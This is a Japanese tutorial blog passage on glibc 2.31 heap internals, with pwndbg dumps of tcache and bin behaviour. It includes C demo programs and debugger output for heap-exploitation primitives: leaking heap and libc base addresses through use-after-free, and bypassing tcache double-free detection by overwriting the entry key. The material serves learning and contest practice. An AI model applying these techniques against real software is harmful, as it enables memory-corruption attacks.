pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bcc0 bk: 0x405340 Allocated chunk Addr: 0x405320 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405340 Size: 0x100 (with flag bits: 0x101) fd: 0x405290 bk: 0x405460 Allocated chunk Addr: 0x405440 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405460 Size: 0x420 (with flag bits: 0x421) fd: 0x405340 bk: 0x4058a0 Allocated chunk Addr: 0x405880 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x4058a0 Size: 0x90 (with flag bits: 0x91) fd: 0x405460 bk: 0x405950 Allocated chunk Addr: 0x405930 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405950 Size: 0x90 (with flag bits: 0x91) fd: 0x4058a0 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x4059e0 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a00 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a90 Size: 0x100 (with flag bits: 0x101) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405b90 Size: 0x90 (with flag bits: 0x91) fd: 0x405e15 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405c20 Size: 0x100 (with flag bits: 0x101) fd: 0x405ea5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405d20 Size: 0x90 (with flag bits: 0x91) fd: 0x405fa5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405db0 Size: 0x100 (with flag bits: 0x101) fd: 0x405835 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405eb0 Size: 0x90 (with flag bits: 0x91) fd: 0x405935 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405f40 Size: 0x100 (with flag bits: 0x101) fd: 0x4059c5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406040 Size: 0x90 (with flag bits: 0x91) fd: 0x405ac6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4060d0 Size: 0x100 (with flag bits: 0x101) fd: 0x405b56 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4061d0 Size: 0x90 (with flag bits: 0x91) fd: 0x406456 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406260 Size: 0x100 (with flag bits: 0x101) fd: 0x4064e6 Allocated chunk | PREV_INUSE Addr: 0x406360 Size: 0x90 (with flag bits: 0x91) Free chunk (tcachebins) | PREV_INUSE Addr: 0x4063f0 Size: 0x100 (with flag bits: 0x101) fd: 0x406676 Top chunk | PREV_INUSE Addr: 0x4064f0 Size: 0x1fb10 (with flag bits: 0x1fb11) pwndbg> tcachebins tcachebins 0x90 [ 6]: 0x4061e0 —▸ 0x406050 —▸ 0x405ec0 —▸ 0x405d30 —▸ 0x405ba0 —▸ 0x405a10 ◂— 0 0x100 [ 7]: 0x406400 —▸ 0x406270 —▸ 0x4060e0 —▸ 0x405f50 —▸ 0x405dc0 —▸ 0x405c30 —▸ 0x405aa0 ◂— 0 pwndbg> unsortedbin unsortedbin all: 0x405950 —▸ 0x4058a0 —▸ 0x405460 —▸ 0x405340 —▸ 0x405290 —▸ 0x7ffff7f9bcc0 (main_arena+96) ◂— 0x405950 /* 'PY@' */
0xf8 の malloc関数を実行した直後の状態です。0x88 の場合と同様に、0xf8 が管理される tcache がいっぱいであったため、探索が停止され、tcache のチャンクをユーザに返して終了しました。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bcc0 bk: 0x405340 Allocated chunk Addr: 0x405320 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405340 Size: 0x100 (with flag bits: 0x101) fd: 0x405290 bk: 0x405460 Allocated chunk Addr: 0x405440 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405460 Size: 0x420 (with flag bits: 0x421) fd: 0x405340 bk: 0x4058a0 Allocated chunk Addr: 0x405880 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x4058a0 Size: 0x90 (with flag bits: 0x91) fd: 0x405460 bk: 0x405950 Allocated chunk Addr: 0x405930 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405950 Size: 0x90 (with flag bits: 0x91) fd: 0x4058a0 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x4059e0 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a00 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a90 Size: 0x100 (with flag bits: 0x101) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405b90 Size: 0x90 (with flag bits: 0x91) fd: 0x405e15 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405c20 Size: 0x100 (with flag bits: 0x101) fd: 0x405ea5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405d20 Size: 0x90 (with flag bits: 0x91) fd: 0x405fa5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405db0 Size: 0x100 (with flag bits: 0x101) fd: 0x405835 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405eb0 Size: 0x90 (with flag bits: 0x91) fd: 0x405935 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405f40 Size: 0x100 (with flag bits: 0x101) fd: 0x4059c5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406040 Size: 0x90 (with flag bits: 0x91) fd: 0x405ac6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4060d0 Size: 0x100 (with flag bits: 0x101) fd: 0x405b56 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4061d0 Size: 0x90 (with flag bits: 0x91) fd: 0x406456 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406260 Size: 0x100 (with flag bits: 0x101) fd: 0x4064e6 Allocated chunk | PREV_INUSE Addr: 0x406360 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4063f0 Size: 0x100 (with flag bits: 0x101) Top chunk | PREV_INUSE Addr: 0x4064f0 Size: 0x1fb10 (with flag bits: 0x1fb11) pwndbg> tcachebins tcachebins 0x90 [ 6]: 0x4061e0 —▸ 0x406050 —▸ 0x405ec0 —▸ 0x405d30 —▸ 0x405ba0 —▸ 0x405a10 ◂— 0 0x100 [ 6]: 0x406270 —▸ 0x4060e0 —▸ 0x405f50 —▸ 0x405dc0 —▸ 0x405c30 —▸ 0x405aa0 ◂— 0 pwndbg> unsortedbin unsortedbin all: 0x405950 —▸ 0x4058a0 —▸ 0x405460 —▸ 0x405340 —▸ 0x405290 —▸ 0x7ffff7f9bcc0 (main_arena+96) ◂— 0x405950 /* 'PY@' */
最後に、0x88 の calloc関数を実行した後の状態です。unsortedbin の末尾から探索が行われ、0x405290 のチャンクは要求サイズに一致しますが、tcache が空いてるので、いったん、tcache に移動されます。次に、0x405340 のチャンクは要求サイズと一致しないので、smallbin に移動されます。0x405460 のチャンクは要求サイズと一致しないので、largebin に移動されます。0x4058a0 のチャンクは要求サイズと一致するため、tcache に移動させたいところですが、tcache がいっぱいになったので、unsortedbin の探索を停止し、0x4058a0 のチャンクをユーザに渡して終了します。確認は完了です。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x4065e5 Allocated chunk | PREV_INUSE Addr: 0x405320 Size: 0x20 (with flag bits: 0x21) Free chunk (smallbins) | PREV_INUSE Addr: 0x405340 Size: 0x100 (with flag bits: 0x101) fd: 0x7ffff7f9bdb0 bk: 0x7ffff7f9bdb0 Allocated chunk Addr: 0x405440 Size: 0x20 (with flag bits: 0x20) Free chunk (largebins) | PREV_INUSE Addr: 0x405460 Size: 0x420 (with flag bits: 0x421) fd: 0x7ffff7f9c0b0 bk: 0x7ffff7f9c0b0 fd_nextsize: 0x405460 bk_nextsize: 0x405460 Allocated chunk Addr: 0x405880 Size: 0x20 (with flag bits: 0x20) Allocated chunk | PREV_INUSE Addr: 0x4058a0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405930 Size: 0x20 (with flag bits: 0x21) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405950 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bcc0 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x4059e0 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a00 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a90 Size: 0x100 (with flag bits: 0x101) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405b90 Size: 0x90 (with flag bits: 0x91) fd: 0x405e15 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405c20 Size: 0x100 (with flag bits: 0x101) fd: 0x405ea5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405d20 Size: 0x90 (with flag bits: 0x91) fd: 0x405fa5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405db0 Size: 0x100 (with flag bits: 0x101) fd: 0x405835 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405eb0 Size: 0x90 (with flag bits: 0x91) fd: 0x405935 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405f40 Size: 0x100 (with flag bits: 0x101) fd: 0x4059c5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406040 Size: 0x90 (with flag bits: 0x91) fd: 0x405ac6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4060d0 Size: 0x100 (with flag bits: 0x101) fd: 0x405b56 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4061d0 Size: 0x90 (with flag bits: 0x91) fd: 0x406456 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406260 Size: 0x100 (with flag bits: 0x101) fd: 0x4064e6 Allocated chunk | PREV_INUSE Addr: 0x406360 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4063f0 Size: 0x100 (with flag bits: 0x101) Top chunk | PREV_INUSE Addr: 0x4064f0 Size: 0x1fb10 (with flag bits: 0x1fb11) pwndbg> tcachebins tcachebins 0x90 [ 7]: 0x4052a0 —▸ 0x4061e0 —▸ 0x406050 —▸ 0x405ec0 —▸ 0x405d30 —▸ 0x405ba0 —▸ 0x405a10 ◂— 0 0x100 [ 6]: 0x406270 —▸ 0x4060e0 —▸ 0x405f50 —▸ 0x405dc0 —▸ 0x405c30 —▸ 0x405aa0 ◂— 0 pwndbg> unsortedbin unsortedbin all: 0x405950 —▸ 0x7ffff7f9bcc0 (main_arena+96) ◂— 0x405950 /* 'PY@' */ pwndbg> smallbin smallbins 0x100: 0x405340 —▸ 0x7ffff7f9bdb0 (main_arena+336) ◂— 0x405340 /* '@S@' */ pwndbg> largebin largebins 0x400-0x430: 0x405460 —▸ 0x7ffff7f9c0b0 (main_arena+1104) ◂— 0x405460 /* '`T@' */
34.5.4:largebinから確保
tcache は 0x410(1,040)byte以下のチャンクを管理することができます。largebinは、0x400(1,024)byte以上のチャンクを管理することができます。(微妙にかぶってますが)largebinが管理するチャンクのほとんどは、tcache では管理できません。よって、これまで説明されたような tcache とのやり取りはないため、34.4.5 で説明した通りの手順でチャンクを確保します。
34.5.5:上位サイズのbinから確保
要求サイズに一致したサイズの空きチャンクが見つからなかった場合、要求サイズより大きいサイズの空きチャンクの中で最小のものを探します。探索には binmap というものが使われるとのことですが、binmap については、ここでは割愛します。
34.5.6:topから確保
要求サイズより大きいサイズの空きチャンクを探しても見つからなかった場合、top から必要なサイズを取得してユーザに返します。top とは、heapコマンドでも確認できる領域で、現在の未使用のヒープ領域のことです。
34.5.7:sysmalloc()
top の容量では不足している場合、システムから新たにメモリを確保する必要があります。これは、初期状態の top が 0 のときも含みます。必要なメモリ量をページサイズ単位に切り上げて、システムからメモリを取得します。
34.5.8:malloc_consolidate()
この処理では、fastbin で管理されているチャンクを、先頭から順番に、可能な限り、隣接するチャンクと併合します。結果として、併合されたチャンク、併合されなかったチャンクも含めて、全て、unsortedbin に移動します。
34.6:解放:free()の動き
free関数が呼び出されると、まず、解放対象のチャンクのサイズを確認します。tcache が管理できる範囲内で、該当サイズのエントリ数が 7未満であれば、tcache で管理されることになります。そうではない場合で、かつ、fastbin で管理できる範囲なら fastbin で管理されます。そうではない場合、隣接するチャンクが解放済みだった場合は併合する処理が行われます。free関数で解放された場合は、unsortedbin に繋がれます。
以降、書籍では、解放する処理が詳細に解説されていますが、ここでは割愛します。また、その後も、かなり細かい説明が続いてますが、合わせて割愛します。
34.6.1:consolidate backward
上で述べた併合する処理のうちの一つです。free関数で解放されたチャンクの小さいアドレス側のチャンクが解放済みだった場合にこの処理が行われます。具体的な手順は割愛しますが、小さいアドレス側のチャンクヘッダの内容を書き換えます。さらに、小さいアドレス側のチャンクが管理されていた管理機構から切り離す処理(unlink_chunk)を行います。
34.6.2:consolidate forward
こちらも、上で述べた併合する処理のうちの一つです。free関数で解放されたチャンクの大きいアドレス側のチャンクが top chunk ではない、かつ、解放済みだった場合にこの処理が行われます。具体的な手順は割愛しますが、free関数で解放したチャンクヘッダの内容を書き換えます。さらに、大きいアドレス側のチャンクが管理されていた管理機構から切り離す処理(unlink_chunk)を行います。
34.6.3:unlink_chunk
unlink_chunk は、引数で与えられたチャンクを管理機構から切り離す処理を行います。ここでは、切り離すチャンクを p とおいています。まず、p->fd->bk と p->bk->fd が p を指していることが確認されます。また、p が、largebin で管理されている場合は、fd_nextize と bk_nextsize を考慮して、切り離す必要があります。細かい手順は割愛します。
34.8:攻撃手法
ここからは、glibc-2.31 で有効な手法を紹介されます。また、参考として、ヒープエクスプロイトのテクニックをまとめた how2heap のリポジトリが紹介されています。
以降、各手法の解説が続きます。そこでは、チャンクの内部構造に効率的にアクセスできるマクロと構造体が記述された以下のヘッダファイル(malloc_struct.h)が使われています。
chunk2memマクロは、チャンクの先頭アドレスを渡すと、ユーザに返されるメモリアドレスを返します。その逆で、mem2chunkマクロは、ユーザに返されるメモリアドレスを渡すと、チャンクの先頭アドレスを返してくれて、チャンクヘッダの構造体の malloc_chunk にキャストして返してくれます。
本質的な話ではないですが、voidポインタのポインタ演算(+0x10 や -0x10)は、何byteずつ進むのかが気になったので調べてみました。そもそも、gcc以外では、voidポインタに対するポインタ演算は未定義でコンパイルエラーになり、voidポインタのポインタ演算は、gcc拡張を使ったものらしいです。gcc の場合、voidポインタのポインタ演算は、1byte単位で増減します。よく考えてみると、memcpy関数など、引数の型が voidポインタで、引数で渡すサイズは 1byte単位ですね。このように覚えるといいかもです。
#ifndef MALLOC_STRUCT #define MALLOC_STRUCT #define chunk2mem(p) ((void*)(p)+0x10) #define mem2chunk(mem) ((malloc_chunk*)((void*)(mem)-0x10)) typedef struct malloc_chunk { size_t prev_size; size_t size; union{ struct { struct malloc_chunk* fd; struct malloc_chunk* bk; struct malloc_chunk* fd_nextsize; struct malloc_chunk* bk_nextsize; }; char mem[0x20]; }; } malloc_chunk; typedef struct tcache_entry { struct tcache_entry *next; struct tcache_perthread_struct *key; } tcache_entry; #endif
34.8.1:ヒープ・libcのアドレスの取得
ここでは、UAF(メモリ解放後にそのメモリを参照できる問題)や、メモリ確保後の未初期化の状態を参照できる問題を利用して、ヒープ領域のベースアドレスや、libc のベースアドレスをリークする方法が説明されています。
ソースコード(attack_leak.c)は以下です。
解放時に併合されないように最小サイズの 32byte の malloc関数の実行を挟みながら、0x418(1,048)byte で 2回の malloc関数を実行し、その後、free関数で両方とも解放しています。その状態で、ヒープ領域のベースアドレスと、libc のベースアドレスが算出できる、ということのようです。
その後、再度、同じサイズで malloc関数を実行し、そのアドレスから同じように、ヒープ領域と libc のベースアドレスが求まるようです。malloc関数を実行しても、チャンクには、サイズ以外は何も操作されないことを示していると思います。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" unsigned long ofs_libc_mainarena = 0x1ebb80; int main(void){ void *ma, *mb; malloc_chunk *ca; setbuf(stdout, NULL); ma = malloc(0x418); ca = mem2chunk(ma); malloc(0); mb = malloc(0x418); malloc(0); free(ma); free(mb); puts("UAF"); printf("heap base : %p\n", (void*)ca->bk - 0x6d0); printf("libc base : %p\n\n", (void*)ca->fd - 0x60 - ofs_libc_mainarena); void *p = malloc(0x418); malloc_chunk *c = mem2chunk(p); puts("Uninitialized"); printf("heap base : %p\n", (void*)c->bk - 0x6d0); printf("libc base : %p\n\n", (void*)c->fd - 0x60 - ofs_libc_mainarena); }
コンパイル済みバイナリ(attack_leak)も用意されているので、GDB を使って確認していきます。puts("UAF"); を実行する直前にブレークポイントを設定して、そこまで進めた状態で確認します。解放されたチャンクは、普通に unsortedbin に管理されてる状態でした。
では、ヒープ領域のベースアドレスが算出できる理由を考えます。書籍で解説されてますが、だいぶ分かりにくいです。ca->bk は、0x418 のサイズで、2番目に malloc関数を実行したチャンクの先頭アドレス(0x5555555596b0)を指しています。vmmap より、このアドレスは、ヒープ領域のベースアドレスから 0x6b0 のオフセットされた位置にあることが分かります。ASLR によってアドレスがランダム化されていたとしても、ヒープ領域内の位置は変わらないことと、malloc関数は操作が同じであれば、毎回同じ配置になることから、ca->bk - 0x6d0 で、ヒープ領域のベースアドレスが算出できることが分かります。
次に、libc のベースアドレスが算出できる理由を考えます。main_arena は libc が持つ変数なので、main_arena のアドレスが分かれば、オフセットから libc のベースアドレスが分かります。具体的には、ca->fd により、main_arena 内の bins の仮想チャンクの先頭アドレス(0x7ffff7f9bcc0)が求まります。このアドレスは main_arena の先頭から 96byte のオフセットした位置であることが、pwndbg の unsortedbinコマンドから分かります。あとは、vmmap で確認したメモリマップから、libc のベースアドレスとの差分が分かるので、これを引いてやればいいことになります。
このソースコードでは、ofs_libc_mainarena という変数に libc内の main_arena のオフセットが用意されていますが、私の環境とは、libc のバージョンが異なるためか、libc のベースアドレスを正しく求めることが出来ていないです。
$ gdb -q attack_leak pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x555555554000 0x555555555000 r--p 1000 0 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak 0x555555555000 0x555555556000 r-xp 1000 1000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak 0x555555556000 0x555555557000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak 0x555555557000 0x555555558000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak 0x555555558000 0x555555559000 rw-p 1000 3000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak 0x555555559000 0x55555557a000 rw-p 21000 0 [heap] 0x7ffff7dc6000 0x7ffff7dc9000 rw-p 3000 0 [anon_7ffff7dc6] 0x7ffff7dc9000 0x7ffff7def000 r--p 26000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7def000 0x7ffff7f44000 r-xp 155000 26000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f44000 0x7ffff7f97000 r--p 53000 17b000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f97000 0x7ffff7f9b000 r--p 4000 1ce000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9b000 0x7ffff7f9d000 rw-p 2000 1d2000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9d000 0x7ffff7faa000 rw-p d000 0 [anon_7ffff7f9d] 0x7ffff7fc3000 0x7ffff7fc5000 rw-p 2000 0 [anon_7ffff7fc3] 0x7ffff7fc5000 0x7ffff7fc9000 r--p 4000 0 [vvar] 0x7ffff7fc9000 0x7ffff7fcb000 r-xp 2000 0 [vdso] 0x7ffff7fcb000 0x7ffff7fcc000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7fcc000 0x7ffff7ff1000 r-xp 25000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 26000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 30000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 32000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x555555559290 Size: 0x420 (with flag bits: 0x421) fd: 0x7ffff7f9bcc0 bk: 0x5555555596d0 Allocated chunk Addr: 0x5555555596b0 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5555555596d0 Size: 0x420 (with flag bits: 0x421) fd: 0x555555559290 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x555555559af0 Size: 0x20 (with flag bits: 0x20) Top chunk | PREV_INUSE Addr: 0x555555559b10 Size: 0x204f0 (with flag bits: 0x204f1) pwndbg> unsortedbin unsortedbin all: 0x5555555596d0 —▸ 0x555555559290 —▸ 0x7ffff7f9bcc0 (main_arena+96) ◂— 0x5555555596d0 pwndbg> p &main_arena $2 = (struct malloc_state *) 0x7ffff7f9bc60 <main_arena> pwndbg> c Continuing. UAF heap base : 0x555555559000 libc base : 0x7ffff7db00e0 Uninitialized heap base : 0x555555559000 libc base : 0x7ffff7db00e0
ここでやりたかったことは、だいたい出来たと思いますが、少し寄り道して、ダウンロードした glibc-2.31 のバイナリを使って、実行したり、GDB でデバッグしたり、pwntools で動かしたりしてみたいと思います。長くなったので、別記事にしました。
daisuke20240310.hatenablog.com
この記事でも一通りやってみます。
ヒープ領域のベースアドレスは、ca->bk が 0x55555555d6d0 なので、0x6d0 を引くと、0x55555555d000 となり、vmmap の結果と一致します。
libc のベースアドレスは、ca->fd が 0x7ffff7fc0be0 なので、0x60 を引くと、0x7ffff7fc0b80 となり、さらに、0x1ebb80 を引くと、0x7ffff7dd5000 になり、vmmap の結果と一致します。確認は完了です。
$ gdb -q attack_leak_patch Reading symbols from attack_leak_patch... pwndbg> set debug-file-directory /home/user/svn/oss/glibc231-dbg/usr/lib/debug pwndbg> set resolve-heap-via-heuristic force Set the strategy to resolve heap via heuristic to 'force'. pwndbg> start Temporary breakpoint 1 at 0x11d5: file attack_leak.c, line 10. pwndbg> b 21 Breakpoint 2 at 0x55555555523d: file attack_leak.c, line 21. pwndbg> c Continuing. pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x555555554000 0x555555555000 r--p 1000 0 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak_patch 0x555555555000 0x555555556000 r-xp 1000 1000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak_patch 0x555555556000 0x555555557000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak_patch 0x555555557000 0x555555558000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak_patch 0x555555558000 0x555555559000 rw-p 1000 3000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak_patch 0x555555559000 0x55555555d000 rw-p 4000 5000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/attack_leak_patch 0x55555555d000 0x55555557e000 rw-p 21000 0 [heap] 0x7ffff7dd5000 0x7ffff7dfa000 r--p 25000 0 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7dfa000 0x7ffff7f72000 r-xp 178000 25000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7f72000 0x7ffff7fbc000 r--p 4a000 19d000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fbc000 0x7ffff7fbd000 ---p 1000 1e7000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fbd000 0x7ffff7fc0000 r--p 3000 1e7000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fc0000 0x7ffff7fc3000 rw-p 3000 1ea000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so 0x7ffff7fc3000 0x7ffff7fc9000 rw-p 6000 0 [anon_7ffff7fc3] 0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar] 0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso] 0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 2c000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55555555d000 Size: 0x290 (with flag bits: 0x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x55555555d290 Size: 0x420 (with flag bits: 0x421) fd: 0x7ffff7fc0be0 bk: 0x55555555d6d0 Allocated chunk Addr: 0x55555555d6b0 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x55555555d6d0 Size: 0x420 (with flag bits: 0x421) fd: 0x55555555d290 bk: 0x7ffff7fc0be0 Allocated chunk Addr: 0x55555555daf0 Size: 0x20 (with flag bits: 0x20) Top chunk | PREV_INUSE Addr: 0x55555555db10 Size: 0x204f0 (with flag bits: 0x204f1) pwndbg> unsortedbin unsortedbin all: 0x55555555d6d0 —▸ 0x55555555d290 —▸ 0x7ffff7fc0be0 (main_arena+96) ◂— 0x55555555d6d0
34.8.2:tcacheエントリの重複
ここでは、UAF で、free関数で解放済みのチャンクの tcache_entry の keyメンバを NULL に書き換えると、free関数実行時に行われる二重解放チェックを無効化できるため、再度、同じアドレスに対して、free関数を実行すると、tcache に同じチャンクが登録されてしまうという問題が説明されています。
ソースコード(attack_tcache_dup.c)は以下です。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ void *m; m = malloc(0x18); printf("m = %p\n", m); free(m); ((tcache_entry*)m)->key = NULL; // vuln free(m); // vuln printf("1st malloc : %p\n", malloc(0x18)); printf("2nd malloc : %p\n", malloc(0x18)); }
実行してみます。malloc関数を、2回実行してるのに、同じアドレス(同じチャンク)を取得してしまっています。
$ ./attack_tcache_dup
m = 0x559af96332a0
1st malloc : 0x559af96332a0
2nd malloc : 0x559af96332a0
ソースコードを見ていきます。
まず、最小サイズでチャンクを確保した後、すぐに解放しています。最小サイズなので、解放されたチャンクは、tcache で管理されます。この時点で、tcache_entry構造体の keyメンバに、tcache_perthread_struct構造体の counts配列のアドレスを格納し、counts をインクリメントしてるはずです。
その後、UAF の脆弱性があった想定で、keyメンバを NULL に書き換えています。
もし、この NULL に書き換える操作が無ければ、keyメンバには、tcache_perthread_struct構造体の counts配列の先頭アドレスを格納されています。free関数には、二重解放をチェックする機能があります。次の 2回目の free関数が実行されると、二重解放のチェックが行われ、keyメンバに tcache_perthread_struct構造体の counts配列の先頭アドレスが格納されていると、二重解放を検出することが出来ます。
もし、keyメンバを NULL に書き換えることが出来ると、二重解放のチェックを回避できるため、tcache に、実体は 1つなのに、同じチャンクが 2つ登録されることになります。これが今回のソースコードで起こっている内容になります。
GDB で確認してみます。free関数の直前の状態では、最小サイズ(32byte)のチャンクが確保されています。その後に 0x410 のサイズのチャンクが確保されていますが、これは printf関数が実行された後に確保されていたので、おそらく、printf関数が確保したのではないかと思います。
free関数実行後、解放されたチャンクは tcache に管理されています。また、tcache_perthread_struct構造体の counts[64]配列と entries[64]配列を表示しています。counts[0] は 1 になっており、entries[0] には、チャンクへのアドレスが入っています(tcache は +0x10 のアドレスが入る)。
次に、チャンクのヘッダを確認します。size のフィールドはいいですが、nextメンバと keyメンバは想定した内容になってないですね。nextメンバは終端なので、NULL で、keyメンバは、tcache_perthread_struct構造体の counts配列の先頭アドレスの想定でした。
